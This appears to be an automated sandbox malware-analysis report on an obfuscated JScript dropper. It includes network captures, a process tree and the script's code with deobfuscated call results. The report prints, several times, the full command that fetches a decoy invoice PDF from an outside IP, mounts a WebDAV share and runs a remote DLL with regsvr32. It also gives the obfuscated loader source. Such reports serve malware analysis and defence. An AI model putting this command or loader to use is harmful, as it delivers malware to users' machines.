>>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:51:47.863976955 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:51:47.863996029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:51:47.864005089 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 23:51:47.864017963 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:51:47.864080906 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 23:51:47.864093065 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:51:47.864104986 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 23:51:47.864115953 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 23:51:47.864145994 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 23:51:47.869055986 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7920	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:51:50.154483080 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:51:50.973426104 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:51:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	17:51:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js"
Imagebase:	0x7ff795800000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:51:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Imagebase:	0x7ff6155d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:51:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:51:44
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:51:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:51:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6155d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:51:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76de90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:51:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:51:50
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:51:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1668,i,3887016290142104723,4358048301477024581,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zqpandm() {	zqpandm() ➔ undefined
1	lxcme = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var caugz = this[lbdku + udcpb + sjsqbkfaw + wkkffnj + pjaoraf + lkdusv + hihcykt + hdgcqblgk] ( this[kfwsuet + svqarl + shbzumodt + sjsqbkfaw + ytocnkbcl + lbdku + hdgcqblgk][pghmu + sjsqbkfaw + pjaoraf + udcpb + hdgcqblgk + pjaoraf + niesoxrf + ljtliyi + pkeag + pjaoraf + shbzumodt + hdgcqblgk] ( kfwsuet + svqarl + shbzumodt + sjsqbkfaw + ytocnkbcl + lbdku + hdgcqblgk + hndqr + svqarl + bonnuvu + pjaoraf + apdlew + apdlew ) [ywwwprcu + pjaoraf + ovunoj + ywwwprcu + pjaoraf + udcpb + cjlonxyi] ( mknvkumc + quzxzxh + awnfqayjo + phmdgp + uwjmlgzq + pghmu + ebnamruk + ywwwprcu + ywwwprcu + awnfqayjo + xjrxpt + epjvo + uwjmlgzq + ebnamruk + svqarl + awnfqayjo + ywwwprcu + vcswpi + pghmu + dkwnaavh + hihcykt + hdgcqblgk + sjsqbkfaw + dkwnaavh + apdlew + eepzxoru + onytb + udcpb + hihcykt + pjaoraf + apdlew + vcswpi + lkdusv + hihcykt + hdgcqblgk + pjaoraf + sjsqbkfaw + hihcykt + udcpb + hdgcqblgk + ytocnkbcl + dkwnaavh + hihcykt + udcpb + apdlew + vcswpi + qspfv + dkwnaavh + shbzumodt + udcpb + apdlew + pjaoraf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ewgkvwk = 0 ; ewgkvwk < lxcme[apdlew + pjaoraf + hihcykt + ovunoj + hdgcqblgk + bonnuvu] ; ++ ewgkvwk )
4	{
5	if ( caugz == lxcme[ewgkvwk] )
6	{
7	caugz = true;
8	break ;
9	}
10	}
11	if ( caugz !== true )
12	this[kfwsuet + svqarl + shbzumodt + sjsqbkfaw + ytocnkbcl + lbdku + hdgcqblgk][gyizluo + zigwpknmd + ytocnkbcl + hdgcqblgk] ( );
13	this[kfwsuet + svqarl + shbzumodt + sjsqbkfaw + ytocnkbcl + lbdku + hdgcqblgk][pghmu + sjsqbkfaw + pjaoraf + udcpb + hdgcqblgk + pjaoraf + niesoxrf + ljtliyi + pkeag + pjaoraf + shbzumodt + hdgcqblgk] ( kfwsuet + svqarl + shbzumodt + sjsqbkfaw + ytocnkbcl + lbdku + hdgcqblgk + hndqr + svqarl + bonnuvu + pjaoraf + apdlew + apdlew ) [sjsqbkfaw + zigwpknmd + hihcykt] ( shbzumodt + izjvctlj + cjlonxyi + eepzxoru + rqpvw + shbzumodt + eepzxoru + lbdku + dkwnaavh + vhgyqf + pjaoraf + sjsqbkfaw + wkkffnj + bonnuvu + pjaoraf + apdlew + apdlew + hndqr + pjaoraf + usddqmqj + pjaoraf + eepzxoru + qfolwwolq + pghmu + dkwnaavh + izjvctlj + izjvctlj + udcpb + hihcykt + cjlonxyi + eepzxoru + wtfgvczs + lkdusv + hihcykt + gzfnttblg + dkwnaavh + kqbtdo + pjaoraf + qfolwwolq + kfwsuet + pjaoraf + ljtliyi + ywwwprcu + pjaoraf + avirvzom + zigwpknmd + pjaoraf + wkkffnj + hdgcqblgk + eepzxoru + qfolwwolq + niesoxrf + zigwpknmd + hdgcqblgk + dsmgt + ytocnkbcl + apdlew + pjaoraf + eepzxoru + sacmznw + hdgcqblgk + pjaoraf + izjvctlj + lbdku + sacmznw + vcswpi + ytocnkbcl + hihcykt + gzfnttblg + dkwnaavh + ytocnkbcl + shbzumodt + pjaoraf + hndqr + lbdku + cjlonxyi + tsfar + eepzxoru + bonnuvu + hdgcqblgk + hdgcqblgk + lbdku + ztblpgm + rqpvw + rqpvw + wuzjm + feufdy + phycgkjp + hndqr + wuzjm + dllfwpx + phycgkjp + hndqr + wuzjm + hndqr + gfqybll + rrgtvmr + cutkv + rqpvw + ytocnkbcl + hihcykt + gzfnttblg + dkwnaavh + ytocnkbcl + shbzumodt + pjaoraf + hndqr + lbdku + bonnuvu + lbdku + wtfgvczs + livka + livka + wkkffnj + hdgcqblgk + udcpb + sjsqbkfaw + hdgcqblgk + eepzxoru + sacmznw + hdgcqblgk + pjaoraf + izjvctlj + lbdku + sacmznw + vcswpi + ytocnkbcl + hihcykt + gzfnttblg + dkwnaavh + ytocnkbcl + shbzumodt + pjaoraf + hndqr + lbdku + cjlonxyi + tsfar + livka + livka + shbzumodt + izjvctlj + cjlonxyi + eepzxoru + rqpvw + shbzumodt + eepzxoru + hihcykt + pjaoraf + hdgcqblgk + eepzxoru + zigwpknmd + wkkffnj + pjaoraf + eepzxoru + vcswpi + vcswpi + wuzjm + feufdy + phycgkjp + hndqr + wuzjm + dllfwpx + phycgkjp + hndqr + wuzjm + hndqr + gfqybll + rrgtvmr + cutkv + dicpjzm + wvfon + wvfon + wvfon + wvfon + vcswpi + cjlonxyi + udcpb + gzfnttblg + vhgyqf + vhgyqf + vhgyqf + sjsqbkfaw + dkwnaavh + dkwnaavh + hdgcqblgk + vcswpi + livka + livka + shbzumodt + izjvctlj + cjlonxyi + eepzxoru + rqpvw + shbzumodt + eepzxoru + sjsqbkfaw + pjaoraf + ovunoj + wkkffnj + gzfnttblg + sjsqbkfaw + phycgkjp + gfqybll + eepzxoru + rqpvw + wkkffnj + eepzxoru + vcswpi + vcswpi + wuzjm + feufdy + phycgkjp + hndqr + wuzjm + dllfwpx + phycgkjp + hndqr + wuzjm + hndqr + gfqybll + rrgtvmr + cutkv + dicpjzm + wvfon + wvfon + wvfon + wvfon + vcswpi + cjlonxyi + udcpb + gzfnttblg + vhgyqf + vhgyqf + vhgyqf + sjsqbkfaw + dkwnaavh + dkwnaavh + hdgcqblgk + vcswpi + wuzjm + dllfwpx + cutkv + cutkv + susdagi + dllfwpx + rrgtvmr + wuzjm + rrgtvmr + gfqybll + rrgtvmr + rrgtvmr + hndqr + cjlonxyi + apdlew + apdlew, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll",0,false) ➔ 0
14	}
15	dkwnaavh = "j";
16	dkwnaavh = "h";
17	dkwnaavh = "v";
18	dkwnaavh = "S";
19	dkwnaavh = "W";
20	dkwnaavh = "U";
21	dkwnaavh = "h";
22	dkwnaavh = "n";
23	dkwnaavh = "j";
24	dkwnaavh = "n";
25	dkwnaavh = "H";
26	dkwnaavh = "Y";
27	dkwnaavh = "F";
28	dkwnaavh = "b";
29	dkwnaavh = "K";
30	dkwnaavh = "p";
31	dkwnaavh = "x";
32	dkwnaavh = "c";
33	dkwnaavh = "f";
34	dkwnaavh = "u";
35	dkwnaavh = "s";
36	dkwnaavh = "W";
37	dkwnaavh = "e";
38	dkwnaavh = "f";
39	dkwnaavh = "C";
40	dkwnaavh = "d";
41	dkwnaavh = "p";
42	dkwnaavh = "I";
43	dkwnaavh = "k";
44	dkwnaavh = "H";
45	dkwnaavh = "o";
46	dkwnaavh = "o";
47	lbdku = "y";
48	lbdku = "I";
49	lbdku = "r";
50	lbdku = "N";
51	lbdku = "A";
52	lbdku = "a";
53	lbdku = "y";
54	lbdku = "F";
55	lbdku = "Q";
56	lbdku = "X";
57	lbdku = "I";
58	lbdku = "n";
59	lbdku = "e";
60	lbdku = "M";
61	lbdku = "T";
62	lbdku = "j";
63	lbdku = "z";
64	lbdku = "p";
65	lbdku = "X";
66	lbdku = "F";
67	lbdku = "y";
68	lbdku = "w";
69	lbdku = "m";
70	lbdku = "U";
71	lbdku = "Y";
72	lbdku = "A";
73	lbdku = "F";
74	lbdku = "K";
75	lbdku = "C";
76	lbdku = "Q";
77	lbdku = "l";
78	lbdku = "P";
79	lbdku = "n";
80	lbdku = "h";
81	lbdku = "M";
82	lbdku = "E";
83	lbdku = "j";
84	lbdku = "M";
85	lbdku = "O";
86	lbdku = "p";
87	lbdku = "T";
88	lbdku = "b";
89	lbdku = "p";
90	lkdusv = "c";
91	lkdusv = "j";
92	lkdusv = "z";
93	lkdusv = "d";
94	lkdusv = "z";
95	lkdusv = "W";
96	lkdusv = "A";
97	lkdusv = "m";
98	lkdusv = "L";
99	lkdusv = "I";
100	lkdusv = "h";
101	lkdusv = "P";
102	lkdusv = "U";
103	lkdusv = "V";
104	lkdusv = "G";
105	lkdusv = "U";
106	lkdusv = "U";
107	lkdusv = "L";
108	lkdusv = "O";
109	lkdusv = "S";
110	lkdusv = "o";
111	lkdusv = "f";
112	lkdusv = "k";
113	lkdusv = "v";
114	lkdusv = "h";
115	lkdusv = "a";
116	lkdusv = "T";
117	lkdusv = "u";
118	lkdusv = "V";
119	lkdusv = "m";
120	lkdusv = "I";
121	vhgyqf = "R";
122	vhgyqf = "r";
123	vhgyqf = "k";
124	vhgyqf = "q";
125	vhgyqf = "X";
126	vhgyqf = "p";
127	vhgyqf = "X";
128	vhgyqf = "k";
129	vhgyqf = "M";
130	vhgyqf = "a";
131	vhgyqf = "k";
132	vhgyqf = "n";
133	vhgyqf = "O";
134	vhgyqf = "N";
135	vhgyqf = "s";
136	vhgyqf = "g";
137	vhgyqf = "R";
138	vhgyqf = "G";
139	vhgyqf = "A";
140	vhgyqf = "c";
141	vhgyqf = "z";
142	vhgyqf = "x";
143	vhgyqf = "q";
144	vhgyqf = "w";
145	cjlonxyi = "g";
146	cjlonxyi = "w";
147	cjlonxyi = "Z";
148	cjlonxyi = "S";
149	cjlonxyi = "m";
150	cjlonxyi = "w";
151	cjlonxyi = "s";
152	cjlonxyi = "h";
153	cjlonxyi = "H";
154	cjlonxyi = "I";
155	cjlonxyi = "K";
156	cjlonxyi = "v";
157	cjlonxyi = "H";
158	cjlonxyi = "l";
159	cjlonxyi = "m";
160	cjlonxyi = "Y";
161	cjlonxyi = "d";
162	niesoxrf = "e";
163	niesoxrf = "b";
164	niesoxrf = "t";
165	niesoxrf = "O";
166	pkeag = "j";
167	pkeag = "s";
168	pkeag = "c";
169	pkeag = "e";
170	pkeag = "c";
171	pkeag = "J";
172	pkeag = "j";
173	pkeag = "j";
174	izjvctlj = "U";
175	izjvctlj = "q";
176	izjvctlj = "t";
177	izjvctlj = "t";
178	izjvctlj = "Z";
179	izjvctlj = "f";
180	izjvctlj = "k";
181	izjvctlj = "p";
182	izjvctlj = "G";
183	izjvctlj = "t";
184	izjvctlj = "K";
185	izjvctlj = "n";
186	izjvctlj = "j";
187	izjvctlj = "g";
188	izjvctlj = "C";
189	izjvctlj = "d";
190	izjvctlj = "B";
191	izjvctlj = "p";
192	izjvctlj = "t";
193	izjvctlj = "F";
194	izjvctlj = "E";
195	izjvctlj = "c";
196	izjvctlj = "J";
197	izjvctlj = "r";
198	izjvctlj = "v";
199	izjvctlj = "M";
200	izjvctlj = "j";
201	izjvctlj = "K";
202	izjvctlj = "v";
203	izjvctlj = "Q";
204	izjvctlj = "K";
205	izjvctlj = "T";
206	izjvctlj = "b";
207	izjvctlj = "j";
208	izjvctlj = "m";
209	ovunoj = "U";
210	ovunoj = "r";
211	ovunoj = "Y";
212	ovunoj = "V";
213	ovunoj = "B";
214	ovunoj = "Y";
215	ovunoj = "y";
216	ovunoj = "v";
217	ovunoj = "y";
218	ovunoj = "v";
219	ovunoj = "T";
220	ovunoj = "q";
221	ovunoj = "D";
222	ovunoj = "z";
223	ovunoj = "b";
224	ovunoj = "Z";
225	ovunoj = "e";
226	ovunoj = "u";
227	ovunoj = "G";
228	ovunoj = "i";
229	ovunoj = "v";
230	ovunoj = "r";
231	ovunoj = "G";
232	ovunoj = "c";
233	ovunoj = "i";
234	ovunoj = "G";
235	ovunoj = "Z";
236	ovunoj = "q";
237	ovunoj = "a";
238	ovunoj = "N";
239	ovunoj = "R";
240	ovunoj = "k";
241	ovunoj = "t";
242	ovunoj = "G";
243	ovunoj = "X";
244	ovunoj = "m";
245	ovunoj = "g";
246	dsmgt = "f";
247	dsmgt = "V";
248	dsmgt = "p";
249	dsmgt = "y";
250	dsmgt = "f";
251	dsmgt = "n";
252	dsmgt = "d";
253	dsmgt = "J";
254	dsmgt = "s";
255	dsmgt = "u";
256	dsmgt = "J";
257	dsmgt = "f";
258	dsmgt = "F";
259	dsmgt = "E";
260	dsmgt = "E";
261	dsmgt = "V";
262	dsmgt = "G";
263	dsmgt = "D";
264	dsmgt = "P";
265	dsmgt = "R";
266	dsmgt = "m";
267	dsmgt = "o";
268	dsmgt = "Q";
269	dsmgt = "q";
270	dsmgt = "T";
271	dsmgt = "m";
272	dsmgt = "I";
273	dsmgt = "f";
274	dsmgt = "w";
275	dsmgt = "j";
276	dsmgt = "y";
277	dsmgt = "f";
278	dsmgt = "U";
279	dsmgt = "F";
280	usddqmqj = "l";
281	usddqmqj = "U";
282	usddqmqj = "c";
283	usddqmqj = "x";
284	usddqmqj = "U";
285	usddqmqj = "I";
286	usddqmqj = "D";
287	usddqmqj = "N";
288	usddqmqj = "C";
289	usddqmqj = "j";
290	usddqmqj = "r";
291	usddqmqj = "Y";
292	usddqmqj = "P";
293	usddqmqj = "D";
294	usddqmqj = "t";
295	usddqmqj = "X";
296	usddqmqj = "y";
297	usddqmqj = "L";
298	usddqmqj = "x";
299	pghmu = "v";
300	pghmu = "s";
301	pghmu = "w";
302	pghmu = "b";
303	pghmu = "G";
304	pghmu = "f";
305	pghmu = "A";
306	pghmu = "c";
307	pghmu = "O";
308	pghmu = "h";
309	pghmu = "w";
310	pghmu = "k";
311	pghmu = "Y";
312	pghmu = "m";
313	pghmu = "C";
314	quzxzxh = "a";
315	quzxzxh = "Y";
316	quzxzxh = "G";
317	quzxzxh = "d";
318	quzxzxh = "E";
319	quzxzxh = "m";
320	quzxzxh = "e";
321	quzxzxh = "J";
322	quzxzxh = "F";
323	quzxzxh = "W";
324	quzxzxh = "d";
325	quzxzxh = "a";
326	quzxzxh = "s";
327	quzxzxh = "N";
328	quzxzxh = "z";
329	quzxzxh = "z";
330	quzxzxh = "q";
331	quzxzxh = "J";
332	quzxzxh = "p";
333	quzxzxh = "c";
334	quzxzxh = "c";
335	quzxzxh = "V";
336	quzxzxh = "F";
337	quzxzxh = "R";
338	quzxzxh = "M";
339	quzxzxh = "C";
340	quzxzxh = "J";
341	quzxzxh = "c";
342	quzxzxh = "S";
343	quzxzxh = "h";
344	quzxzxh = "a";
345	quzxzxh = "f";
346	quzxzxh = "K";
347	awnfqayjo = "J";
348	awnfqayjo = "L";
349	awnfqayjo = "V";
350	awnfqayjo = "p";
351	awnfqayjo = "W";
352	awnfqayjo = "i";
353	awnfqayjo = "Q";
354	awnfqayjo = "l";
355	awnfqayjo = "S";
356	awnfqayjo = "h";
357	awnfqayjo = "u";
358	awnfqayjo = "Y";
359	awnfqayjo = "x";
360	awnfqayjo = "t";
361	awnfqayjo = "N";
362	awnfqayjo = "E";
363	pjaoraf = "j";
364	pjaoraf = "l";
365	pjaoraf = "i";
366	pjaoraf = "P";
367	pjaoraf = "l";
368	pjaoraf = "I";
369	pjaoraf = "w";
370	pjaoraf = "K";
371	pjaoraf = "V";
372	pjaoraf = "R";
373	pjaoraf = "m";
374	pjaoraf = "V";
375	pjaoraf = "G";
376	pjaoraf = "v";
377	pjaoraf = "d";
378	pjaoraf = "H";
379	pjaoraf = "C";
380	pjaoraf = "E";
381	pjaoraf = "q";
382	pjaoraf = "e";
383	xjrxpt = "b";
384	xjrxpt = "T";
385	xjrxpt = "f";
386	xjrxpt = "N";
387	xjrxpt = "Q";
388	xjrxpt = "M";
389	xjrxpt = "z";
390	xjrxpt = "Z";
391	xjrxpt = "H";
392	xjrxpt = "N";
393	ywwwprcu = "c";
394	ywwwprcu = "r";
395	ywwwprcu = "R";
396	kfwsuet = "N";
397	kfwsuet = "T";
398	kfwsuet = "i";
399	kfwsuet = "W";
400	gfqybll = "e";
401	gfqybll = "i";
402	gfqybll = "h";
403	gfqybll = "M";
404	gfqybll = "r";
405	gfqybll = "f";
406	gfqybll = "w";
407	gfqybll = "x";
408	gfqybll = "E";
409	gfqybll = "h";
